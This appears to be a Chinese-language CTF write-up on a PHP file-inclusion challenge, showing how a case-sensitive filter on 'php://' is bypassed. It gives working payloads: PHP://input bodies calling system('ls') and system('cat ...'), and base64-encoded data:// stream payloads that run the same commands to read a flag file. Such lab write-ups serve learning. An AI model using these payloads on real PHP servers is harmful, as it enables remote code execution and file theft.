提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
工具
火狐,burpsuite
分析
代码审计:
strstr():区分大小写
str_replace:替换函数
补充:
函数原型:mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )参数说明:$search要被搜索替换的字符串,$replace要替换搜索的字符串,$subject操作的字符串,&$count替换次数,访函数返回在$subject搜索$search替换为$replace的字符串或数组。在这串代码中,将php://替换为"",操作的字符串为$page
方法一:运用php://input
原因:php://input 是个可以访问请求的原始数据的只读流,想要深入了解推荐这篇博客
因为这个可以访问原始数据所以我们用burpsuite抓取它的包,修改命令,达到我们的目的
访问PHP://input
开始抓包
抓到这个包即可进行查询,输入<?php system('ls');?> ,这是php代码,ls是linux命令
查询到了文件名字
输入<?php system('cat fl4gisisish3r3.php');?>,cat命令详细:
得到flag:$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";
方法二:data伪协议
data 协议
php5.2.0 起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是 PHP 代码,就会执行代码使用方法:data://text/plain;base64,xxxx(base64 编码后的数据)data 伪协议只有在 php<5.3 且 include=on 时可以写木马。
即构造data://text/plain;base64,<?php system("ls")?>(base64加密后的值)注意这里ls用双引号
即 data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
得到名字继续加密,注意名字后面多的要删除
data://text/plain;base64,<?php system("cat fl4gisisish3r3.php")?>
加密后的data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
发现页面里没有,打开源代码,这里应该被隐藏了,得到flag